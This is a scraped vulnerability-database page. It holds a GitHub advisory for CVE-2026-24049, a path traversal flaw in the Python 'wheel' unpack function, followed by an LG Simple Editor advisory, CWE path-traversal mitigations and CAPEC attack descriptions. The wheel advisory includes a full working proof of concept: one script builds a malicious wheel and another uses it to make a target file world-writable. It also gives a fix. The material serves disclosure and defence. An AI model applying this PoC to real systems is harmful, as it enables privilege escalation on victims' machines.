print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")
# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
print(f"[!] Ignored expected extraction error: {e}")
# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")
if final_perms == "777":
print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
print("[-] Attack failed.")
result:
Impact
Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.
Recommended Fix
The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().
Suggested Patch:
# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)
# Only apply chmod if a file was actually written
if extracted_path:
permissions = zinfo.external_attr >> 16 & 0o777
Path(extracted_path).chmod(permissions)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.46.1"
},
"package": {
"ecosystem": "PyPI",
"name": "wheel"
},
"ranges": [
{
"events": [
{
"introduced": "0.40.0"
},
{
"fixed": "0.46.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24049"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:02:56Z",
"nvd_published_at": "2026-01-22T05:16:23Z",
"severity": "HIGH"
},
"details": "### Summary\n - **Vulnerability Type:** Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. \n - **Root Cause Component:** wheel.cli.unpack.unpack function. \n - **Affected Packages:** \n 1. wheel (Upstream source) \n 2. setuptools (Downstream, vendors wheel) \n - **Severity:** High (Allows modifying system file permissions). \n\n### Details \nThe vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. \n```\n# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)\nfor zinfo in wf.filelist:\n wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile\n\n # (2) VULNERABILITY:\n # The \u0027permissions\u0027 are applied to a path constructed using the UNSANITIZED \u0027zinfo.filename\u0027.\n # If zinfo.filename contains \"../\", this targets files outside the destination.\n permissions = zinfo.external_attr \u003e\u003e 16 \u0026 0o777\n destination.joinpath(zinfo.filename).chmod(permissions)\n``` \n\n### PoC \nI have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. \n\n**Prerequisites:** pip install setuptools \n\n**Step 1: Generate the Malicious Wheel (gen_poc.py)** \nThis script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. \n```\nimport zipfile\nimport hashlib\nimport base64\nimport os\n\ndef urlsafe_b64encode(data):\n \"\"\"\n Helper function to encode data using URL-safe Base64 without padding.\n Required by the Wheel file format specification.\n \"\"\"\n return base64.urlsafe_b64encode(data).rstrip(b\u0027=\u0027).decode(\u0027ascii\u0027)\n\ndef get_hash_and_size(data_bytes):\n \"\"\"\n Calculates SHA-256 hash and size of the data.\n These values are required to construct a valid \u0027RECORD\u0027 file,\n which is used by the \u0027wheel\u0027 library to verify integrity.\n \"\"\"\n digest = hashlib.sha256(data_bytes).digest()\n hash_str = \"sha256=\" + urlsafe_b64encode(digest)\n return hash_str, str(len(data_bytes))\n\ndef create_evil_wheel_v4(filename=\"evil-1.0-py3-none-any.whl\"):\n print(f\"[Generator V4] Creating \u0027Authenticated\u0027 Malicious Wheel: {filename}\")\n\n # 1. Prepare Standard Metadata Content\n # These are minimal required contents to make the wheel look legitimate.\n wheel_content = b\"Wheel-Version: 1.0\\nGenerator: bdist_wheel (0.37.1)\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\"\n metadata_content = b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 1.0\\nSummary: PoC Package\\n\"\n \n # 2. Define Malicious Payload (Path Traversal)\n # The content doesn\u0027t matter, but the path does.\n payload_content = b\"PWNED by Path Traversal\"\n\n # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using \u0027../\u0027\n # The vulnerability allows \u0027chmod\u0027 to affect this path directly.\n malicious_path = \"../../poc_target.txt\"\n\n # 3. Calculate Hashes for Integrity Check Bypass\n # The \u0027wheel\u0027 library verifies if the file hash matches the RECORD entry.\n # To bypass this check, we calculate the correct hash for our malicious file.\n wheel_hash, wheel_size = get_hash_and_size(wheel_content)\n metadata_hash, metadata_size = get_hash_and_size(metadata_content)\n payload_hash, payload_size = get_hash_and_size(payload_content)\n\n # 4. Construct the \u0027RECORD\u0027 File\n # The RECORD file lists all files in the wheel with their hashes.\n # CRITICAL: We explicitly register the malicious path (\u0027../../poc_target.txt\u0027) here.\n # This tricks the \u0027wheel\u0027 library into treating the malicious file as a valid, verified component.\n record_lines = [\n f\"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}\",\n f\"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}\",\n f\"{malicious_path},{payload_hash},{payload_size}\", # \u003c-- Authenticating the malicious path\n \"evil-1.0.dist-info/RECORD,,\"\n ]\n record_content = \"\\n\".join(record_lines).encode(\u0027utf-8\u0027)\n\n # 5. Build the Zip File\n with zipfile.ZipFile(filename, \"w\") as zf:\n # Write standard metadata files\n zf.writestr(\"evil-1.0.dist-info/WHEEL\", wheel_content)\n zf.writestr(\"evil-1.0.dist-info/METADATA\", metadata_content)\n zf.writestr(\"evil-1.0.dist-info/RECORD\", record_content)\n\n # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file\n # We need to set specific permission bits to trigger the vulnerability.\n zinfo = zipfile.ZipInfo(malicious_path)\n \n # Set external attributes to 0o777 (rwxrwxrwx)\n # Upper 16 bits: File type (0o100000 = Regular File)\n # Lower 16 bits: Permissions (0o777 = World Writable)\n # The vulnerable \u0027unpack\u0027 function will blindly apply this \u0027777\u0027 to the system file.\n zinfo.external_attr = (0o100000 | 0o777) \u003c\u003c 16\n \n zf.writestr(zinfo, payload_content)\n\n print(\"[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.\")\n\nif __name__ == \"__main__\":\n create_evil_wheel_v4()\n``` \n\n**Step 2: Run the Exploit (exploit.py)** \n```\nfrom pathlib import Path\nimport sys\n\n# Demonstrating impact on setuptools\ntry:\n from setuptools._vendor.wheel.cli.unpack import unpack\n print(\"[*] Loaded unpack from setuptools\")\nexcept ImportError:\n from wheel.cli.unpack import unpack\n print(\"[*] Loaded unpack from wheel\")\n\n# 1. Setup Target (Read-Only system file simulation)\ntarget = Path(\"poc_target.txt\")\ntarget.write_text(\"SENSITIVE CONFIG\")\ntarget.chmod(0o400) # Read-only\nprint(f\"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}\")\n\n# 2. Run Vulnerable Unpack\n# The wheel contains \"../../poc_target.txt\".\n# unpack() will extract safely, BUT chmod() will hit the actual target file.\ntry:\n unpack(\"evil-1.0-py3-none-any.whl\", \"unpack_dest\")\nexcept Exception as e:\n print(f\"[!] Ignored expected extraction error: {e}\")\n\n# 3. Check Result\nfinal_perms = oct(target.stat().st_mode)[-3:]\nprint(f\"[*] Final Perms: {final_perms}\")\n\nif final_perms == \"777\":\n print(\"VULNERABILITY CONFIRMED: Target file is now world-writable (777)!\")\nelse:\n print(\"[-] Attack failed.\")\n``` \n\n**result:** \n\u003cimg width=\"806\" height=\"838\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db\" /\u003e \n \n### Impact \nAttackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. \n\n### Recommended Fix \nThe unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). \n\n### Suggested Patch: \n```\n# extract() returns the actual path where the file was written\nextracted_path = wf.extract(zinfo, destination)\n\n# Only apply chmod if a file was actually written\nif extracted_path:\n permissions = zinfo.external_attr \u003e\u003e 16 \u0026 0o777\n Path(extracted_path).chmod(permissions)\n```",
"id": "GHSA-8rrh-rw8j-w5fx",
"modified": "2026-01-23T17:44:38Z",
"published": "2026-01-22T18:02:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24049"
},
{
"type": "WEB",
"url": "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef"
},
{
"type": "WEB",
"url": "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/wheel"
},
{
"type": "WEB",
"url": "https://github.com/pypa/wheel/releases/tag/0.46.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack"
}
GHSA-8RRP-366J-CC4G
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30LG Simple Editor PlayerController getImageByFilename Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of LG Simple Editor. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the getImageByFilename method in the PlayerController class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-20014.
{
"affected": [],
"aliases": [
"CVE-2023-40512"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:15:26Z",
"severity": "MODERATE"
},
"details": "LG Simple Editor PlayerController getImageByFilename Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of LG Simple Editor. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the getImageByFilename method in the PlayerController class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-20014.",
"id": "GHSA-8rrp-366j-cc4g",
"modified": "2024-05-03T03:30:59Z",
"published": "2024-05-03T03:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40512"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1216"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.